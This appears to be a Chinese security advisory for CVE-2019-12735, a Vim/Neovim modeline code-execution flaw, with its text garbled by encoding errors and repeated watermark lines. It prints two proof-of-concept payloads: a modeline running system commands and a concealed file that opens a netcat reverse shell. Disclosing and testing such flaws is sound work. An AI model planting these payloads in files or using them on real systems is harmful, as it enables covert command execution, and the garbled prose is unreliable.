VimºÍNeovimí§Òâ´úÂëÖ´ÐÐÎó²îÇ徲ͨ¸æ

Ðû²¼Ê±¼ä 2019-06-06

Îó²î±àºÅºÍ¼¶±ð


CVE±àºÅ£ºCVE-2019-12735£¬£¬£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬£¬£¬CVSS·ÖÖµ£º8.6


ÊÜÓ°ÏìµÄ°æ±¾


Vim < 8.1.1365

Neovim < 0.3.6


Îó²î¸ÅÊö


VimÊÇÒ»¿î¹¦Ð§Ç¿Ê¢¡¢¸ß¶È¿É¶¨ÖƵÄÎı¾±à¼­Æ÷¡£¡£¡£ÓÉÓÚVimÔÚ´úÂ벹ȫ¡¢±àÒë¼°Àû±ã±à³ÌµÈ·½ÃæºÜÊÇǿʢ£¬£¬£¬Òò´ËÔÚ³ÌÐòÔ±Öб»ÆÕ±éʹÓ㬣¬£¬³ÉΪÀàUnixϵͳÓû§×îϲ»¶µÄÎı¾±à¼­Æ÷Ö®Ò»¡£¡£¡£


Îı¾±à¼­Æ÷Vim/Neovim±£´æÑÏÖØÎó²î£¬£¬£¬Í¨¹ý·­¿ªÌØÊâ½á¹¹µÄÎı¾Îļþ£¬£¬£¬Ä£Ê½ÐÐÑ¡Ïîδ±»½ûÓõϰ£¬£¬£¬¾Í¿Éµ¼ÖÂVim/Neovimí§Òâ´úÂëÖ´ÐÐÎó²î¡£¡£¡£Îó²î³ÉÒòÊÇģʽÐÐÖнöÔÊÐíÑ¡Ïî×Ó¼¯£¬£¬£¬ÈôÊÇÑ¡ÏîµÄÖµ°üÀ¨Ò»¸ö±í´ïʽ£¬£¬£¬¾Í¿ÉÒÔÔÚɳÏäÖÐÔËÐС£¡£¡£:source! ÏÂÁî¿ÉÈÆ¹ýɳÏ䣬£¬£¬Ëü¿ÉÒԴӼȶ¨ÎļþÖжÁÈ¡²¢Ö´ÐÐÏÂÁ£¬£¬Òò´Ë¿ÉÒÔÇáËɹ¹½¨ÔÚɳÏäÍâÔÊÐíÔËÐдúÂëµÄģʽÐС£¡£¡£


Îó²îÑéÖ¤


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md¡£¡£¡£


µÚÒ»ÖÖ£º
²âÊÔ°æ±¾ÈçÏ£º
 
¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨

1¡¢½¨Éèpoc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2¡¢È·±£Î´½ûÓÃmodelineÑ¡Ïî(:set modeline)


ʹÓÃÈçÏÂÏÂÁîÉó²éÏÂÁîλÖÃ


¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨

 
ÈçÏ£º
 

¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨ 


¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨


3¡¢ÔÚvimÖз­¿ª¸Ãtxt


vim poc.txt
È»ºóϵͳ»áÖ´ÐÐ uname -a&&whoami

 

¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨


µÚ¶þÖÖ£¬£¬£¬½¨Éè·´µ¯shell


¸ÃPoCÐÎòÁËÒ»ÖÖÕæÊµµÄ¹¥»÷ÒªÁ죬£¬£¬ÆäÖÐÒ»µ©Óû§·­¿ªÎļþ¾ÍÆô¶¯·´µ¯shell¡£¡£¡£ ΪÁËÒþ²Ø¹¥»÷£¬£¬£¬Îļþ½«ÔÚ·­¿ªÊ±Á¬Ã¦ÖØÐ´¡£¡£¡£ 

±ðµÄ£¬£¬£¬µ±Ê¹ÓÃcat´òÓ¡ÄÚÈÝʱ£¬£¬£¬PoCʹÓÃÖÕ¶ËתÒåÐòÁÐÀ´Òþ²ØÏÂÁîÐС£¡£¡££¨¶øÊ¹ÓÃcat -v¿ÉÒÔÏÔʾÏÖʵÄÚÈÝ¡£¡£¡££©


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

¼øºÚµ£±£Íø(jhdbw)¡¤×î¾ßȨÍþΨһάȨµ£±£Æ½Ì¨


ÐÞ¸´½¨Òé



Éý¼¶µ½Vim 8.1.1365¡¢Neovim 0.3.6»òÒÔÉϰ汾£¬£¬£¬±ðµÄ½¨Òé½ûÓÃģʽÐУ¬£¬£¬Ê¹ÓÃsecuremodelines²å¼þ¡£¡£¡£


Vim²¹¶¡8.1.1365£º 

https://github.com/vim/vim/commit/5357552


Neovim²¹¶¡£¡£¡£¨ÔÚv0.3.6ÖÐÐû²¼£©£º
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


²Î¿¼Á´½Ó


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md